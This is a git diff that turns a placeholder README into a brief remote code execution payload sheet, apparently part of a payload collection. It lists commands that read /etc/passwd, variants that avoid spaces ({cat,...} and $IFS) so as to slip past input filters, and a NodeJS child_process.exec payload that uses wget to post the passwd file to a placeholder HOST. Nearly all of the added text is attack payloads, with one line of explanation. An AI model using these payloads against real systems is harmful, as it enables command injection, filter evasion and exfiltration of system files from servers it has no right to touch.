diff --git a/RCE/README.md b/RCE/README.md
index c707ab4..8195a0e 100644
--- a/RCE/README.md
+++ b/RCE/README.md
@@ -1,12 +1,25 @@
-# Title
-Lorem	
+# Remote Code Execution
+Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.
+	
 
 ## Vuln
-
+Normal code execution
 ```
-Code
+cat /etc/passwd 
+root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
+```
+
+
+Code execution without space
+```
+{cat,/etc/passwd}
+cat$IFS/etc/passwd
+```
+
+NodeJS Code execution
+```
+require('child_process').exec('wget+--post-data+"x=$(cat+/etc/passwd)"+HOST')
 ```
 
 ## Thanks to
-* Lorem
-* Ipsum
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+* 
\ No newline at end of file